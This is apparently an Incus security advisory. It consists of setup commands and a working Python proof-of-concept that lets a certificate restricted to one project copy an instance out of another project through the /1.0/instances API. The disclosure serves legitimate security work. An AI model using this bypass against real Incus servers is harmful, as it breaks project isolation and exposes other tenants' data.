GHSA-c9f5-j9c3-mhrg

# create a new project and instance incus project create secrets incus profile show default | incus --project secrets edit default incus --project secrets init images:debian/trixie secret # restrict an existing certificate to prevent access to the project incus config trust edit cert-fp #> set, for example restricted: true projects: - default # verification, with the restricted certificate incus ls remote:

python3 poc.py --url https://IP-REMOTE:8443 \ --cert path/to/client.crt --key path/to/client.key \ --target-project default --source-project secrets \ --source-instance secret --name copy-secret --insecure

#!/usr/bin/env python3 """Copy an instance from a project the caller should not be able to read.""" from __future__ import annotations import argparse import json import ssl import sys import urllib.error import urllib.parse import urllib.request def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes: ctx = ssl.create_default_context() if insecure: ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE ctx.load_cert_chain(cert, key) req = urllib.request.Request( url.rstrip("/") + path, data=json.dumps(body).encode(), method="POST", headers={"Content-Type": "application/json", "Accept": "application/json"}, ) try: with urllib.request.urlopen(req, context=ctx) as resp: return resp.read() except urllib.error.HTTPError as exc: sys.stderr.write(exc.read().decode(errors="replace") + "\n") raise def main() -> int: ap = argparse.ArgumentParser() ap.add_argument("--url", required=True) ap.add_argument("--cert", required=True) ap.add_argument("--key", required=True) ap.add_argument("--target-project", required=True) ap.add_argument("--source-project", required=True) ap.add_argument("--source-instance", required=True) ap.add_argument("--name", required=True, help="new instance name in target project") ap.add_argument("--instance-only", action="store_true") ap.add_argument("--start", action="store_true") ap.add_argument("--insecure", action="store_true") ap.add_argument("--dry-run", action="store_true") args = ap.parse_args() body = { "name": args.name, "source": { "type": "copy", "source": args.source_instance, "project": args.source_project, "instance_only": args.instance_only, }, "start": args.start, } path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project}) print(json.dumps(body, indent=2)) if args.dry_run: return 0 print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace")) return 0 if __name__ == "__main__": raise SystemExit(main())